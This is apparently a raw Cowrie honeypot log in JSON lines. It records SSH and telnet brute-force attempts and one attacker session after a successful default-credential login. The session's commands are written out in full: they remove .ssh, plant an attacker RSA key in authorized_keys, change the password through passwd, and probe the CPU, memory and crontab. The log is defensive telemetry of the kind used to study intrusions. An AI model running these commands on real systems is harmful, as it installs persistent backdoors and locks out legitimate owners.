fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:17.036543Z","src_ip":"176.65.132.23","session":"50bde9beb294","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:17.202322Z","src_ip":"176.65.132.23","session":"50bde9beb294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.92641496658325,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:17.465714Z","src_ip":"152.42.224.71","session":"4342d8d4c2b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:18.287152Z","src_ip":"176.65.132.23","session":"50bde9beb294","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45232,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e695f3c5d1e","protocol":"telnet","message":"New connection: 152.42.224.71:45232 (10.17.0.5:23) [session: 2e695f3c5d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:25.031880Z"}
{"eventid":"cowrie.session.closed","duration":30.649667978286743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:28.182259Z","src_ip":"74.208.13.194","session":"829053297dc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":88.88914346694946,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:28.542057Z","src_ip":"152.42.224.71","session":"624d9a5a000b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.587616205215454,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:35.619360Z","src_ip":"152.42.224.71","session":"2e695f3c5d1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":53828,"dst_ip":"159.203.135.109","dst_port":22,"session":"f112778291da","protocol":"ssh","message":"New connection: 43.134.32.136:53828 (159.203.135.109:22) [session: f112778291da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:37.187553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:37.191819Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:37.428658Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234567","message":"login attempt [admin/admin1234567] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:38.407693Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:39.053751Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:39.056913Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:39.060565Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:39.531511Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:39.817527Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:39.820428Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:40.061291Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:40.064923Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":53842,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf75f11cda47","protocol":"ssh","message":"New connection: 43.134.32.136:53842 (159.203.135.109:22) [session: cf75f11cda47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:40.293543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:40.298554Z","src_ip":"43.134.32.136","session":"cf75f11cda47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:40.534546Z","src_ip":"43.134.32.136","session":"cf75f11cda47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:41.510428Z","src_ip":"43.134.32.136","session":"cf75f11cda47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:42.749799Z","src_ip":"43.134.32.136","session":"cf75f11cda47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":42244,"dst_ip":"159.203.135.109","dst_port":22,"session":"be6d1efdaa02","protocol":"ssh","message":"New connection: 43.134.32.136:42244 (159.203.135.109:22) [session: be6d1efdaa02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:42.990910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:42.999615Z","src_ip":"43.134.32.136","session":"be6d1efdaa02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:43.244787Z","src_ip":"43.134.32.136","session":"be6d1efdaa02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:44.258469Z","src_ip":"43.134.32.136","session":"be6d1efdaa02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00201725959778,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:45.032447Z","src_ip":"152.42.224.71","session":"fbb36ca5b49f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:45.507071Z","src_ip":"43.134.32.136","session":"be6d1efdaa02","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:45.787921Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:45.791216Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:46.263441Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:46.547568Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin1234567\\nTXecBNVTbyjC\\nTXecBNVTbyjC\"|passwd|bash","message":"CMD: echo -e \"admin1234567\\nTXecBNVTbyjC\\nTXecBNVTbyjC\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:46.550250Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:46.553223Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:46.556235Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41008,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1520fcbfb13","protocol":"telnet","message":"New connection: 152.42.224.71:41008 (10.17.0.5:23) [session: e1520fcbfb13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:46.632406Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/62b3ba6737aebf0104ea00a29dcb5add2af358d0d2e0fab1e797d24c5984406a","size":32,"shasum":"62b3ba6737aebf0104ea00a29dcb5add2af358d0d2e0fab1e797d24c5984406a","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/62b3ba6737aebf0104ea00a29dcb5add2af358d0d2e0fab1e797d24c5984406a after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:47.028043Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:47.306063Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin1234567\\nTXecBNVTbyjC\\nTXecBNVTbyjC\\n\"|passwd","message":"CMD: echo \"admin1234567\\nTXecBNVTbyjC\\nTXecBNVTbyjC\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:47.309193Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/d42dfa68ea525fec6e6d5d52f3f45719141b9d82365558ad4764012ae1a75851","size":25,"shasum":"d42dfa68ea525fec6e6d5d52f3f45719141b9d82365558ad4764012ae1a75851","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/d42dfa68ea525fec6e6d5d52f3f45719141b9d82365558ad4764012ae1a75851 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:47.783023Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:48.069387Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:48.073018Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:48.547048Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:48.839973Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:48.843377Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41012,"dst_ip":"10.17.0.5","dst_port":23,"session":"49cca780c703","protocol":"telnet","message":"New connection: 152.42.224.71:41012 (10.17.0.5:23) [session: 49cca780c703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:49.282337Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:49.316246Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:49.608714Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:49.611875Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:49.614286Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:50.086924Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:50.378552Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:50.381855Z","src_ip":"43.134.32.136","session":"f112778291da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41026,"dst_ip":"10.17.0.5","dst_port":23,"session":"427b35f4518d","protocol":"telnet","message":"New connection: 152.42.224.71:41026 (10.17.0.5:23) [session: 427b35f4518d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:50.749017Z"}
